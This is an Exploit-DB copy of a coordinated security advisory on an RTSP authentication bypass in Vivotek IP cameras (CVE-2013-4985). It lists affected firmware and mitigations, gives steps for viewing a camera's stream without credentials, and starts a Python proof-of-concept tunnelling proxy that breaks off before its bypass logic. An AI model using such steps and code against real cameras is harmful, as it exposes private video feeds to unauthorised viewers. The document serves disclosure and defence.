Exploit-DB #29516
Description: Vivotek IP Cameras - RTSP Authentication Bypass
Type: webapps
Platform: hardware
Date: 2013-11-08
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com

Vivotek IP Cameras RTSP Authentication Bypass


1. *Advisory Information*

Title: Vivotek IP Cameras RTSP Authentication Bypass
Advisory ID: CORE-2013-0704
Advisory URL:
http://www.coresecurity.com/advisories/vivotek-ip-cameras-rtsp-authentication-bypass
Date published: 2013-11-05
Date of last update: 2013-11-05
Vendors contacted: Vivotek
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Authentication issues [CWE-287]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4985


3. *Vulnerability Description*

A security vulnerability was found in Vivotek IP cameras [1] that could
allow an unauthenticated remote attacker to bypass the RTSP basic
authentication and access the video stream.


4. *Vulnerable Packages*

   . Vivotek IP cameras with firmware 0105a.
   . Vivotek IP cameras with firmware 0105b.
   . This vulnerability was tested against Vivotek IP cameras IP7160,
IP7361 and IP8332. Other Vivotek cameras and firmware are probably
affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

Vendor released the beta firmware 0301c [2] and notifies that it should
be the formal release [2013-10-28]; contact vendor for further
information. Some mitigation actions for this issue may be:

   . Do not expose the camera to internet unless absolutely necessary.
   . Filter RTSP traffic (default port 554) if possible.


6. *Credits*

This vulnerability was discovered and researched by Martin Di Paola from
Core Security QA Team. The PoC of was made by Martin Di Paola with help
of Martin Rocha from Core Development Team. The publication of this
advisory was coordinated by Fernando Miranda from Core Advisories Team.


7. *Technical Description / Proof of Concept Code*

7.1. *RTSP Authentication Bypass*

This vulnerability is triggered by sending specially crafted RTSP
packets to remote TCP port 554. In order to run the proof of concept,
follow the next steps:

   1. Set the camera RTSP authentication to 'basic'.
   2. (Assuming that the camera is located in 192.168.1.1) Run 'poc.py'
with these parameters: 'python poc.py 9999 192.168.1.1 554'
   3. Open a VLC media player and go to: 'Media > Open Network Stream'.
   4. Enter the following network URL: 'rtsp://localhost:9999/live.sdp'.
   5. A dialog box will asks for user/password, just click 'OK'.
   6. You should see the RTSP live video stream; i.e., the RTSP basic
authentication can by bypassed by a remote attacker.

/-----
#
# poc.py
#
# The contents of this software are copyright (c) 2013 CORE Security and
(c) 2013 CoreLabs,
# and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States)
# License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT,  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL  DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE.
#

import sys
from socket import *
from threading import Thread
import time

LOGGING = 1

def log(s):
    if LOGGING:
        print '(%s) %s' % (time.ctime(), s)


class UDPRequestHandler(Thread):
    def __init__(self, data_to_send, recv_addr, dst_addr):
        Thread.__init__(self)
        self.data_to_send = data_to_send
        self.recv_addr = recv_addr
        self.dst_addr = dst_addr

    def run(self):
        sender = socket(AF_INET, SOCK_DGRAM)
        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        sender.sendto(self.data_to_send, self.dst_addr)
        response = sender.recv(1024)
        sender.sendto(response, self.recv_addr)
        sender.close()


class UDPDispatcher(Thread):
    dispatchers = []

    def __has_dispatcher_for(self, port):
        return any([d.src_port == port for d in UDPDispatcher.dispatchers])

    def __init__(self, src_port, dst_addr):
        Thread.__init__(self)
        if self.__has_dispatcher_for(src_port):
            raise Exception('There is already a dispatcher for port %d'
% src_port)
        self.src_port = src_port
        self.dst_addr = dst_addr
        UDPDispatcher.dispatchers.append(self)

    def run(self):
        listener = socket(AF_INET, SOCK_DGRAM)
        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        listener.bind(('', self.src_port))
        while 1:
            try:
                data, recv_addr = listener.recvfrom(1024)
                if not data: break
                UDPRequestHandler(data, recv_addr, self.dst_addr).start()
            except Exception as e:
                print e
                break
        listener.close()
        UDPDispatcher.dispatchers.remove(self)


class PipeThread(Thread):
    pipes = []

    def __init__(self, source, sink, process_data_callback=lambda x: x):
        Thread.__init__(self)
        self.source = source
        self.sink = sink
        self.process_data_callback = process_data_callback
        PipeThread.pipes.append(self)

    def run(self):
        while 1:
            try:
                data = self.source.recv(1024)
                data = self.process_data_callback(data)
                if not data: break
                self.sink.send(data)
            except Exception as e:
                log(e)
                break
        PipeThread.pipes.remove(self)


class TCPTunnel(Thread):
    def __init__(self, src_port, dst_addr, process_data_callback=lambda
x: x):
        Thread.__init__(self)
        log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,
dst_addr[0], dst_addr[1]))
        self.dst_addr = dst_addr
        self.process_data_callback = process_data_callback
        # Create TCP listene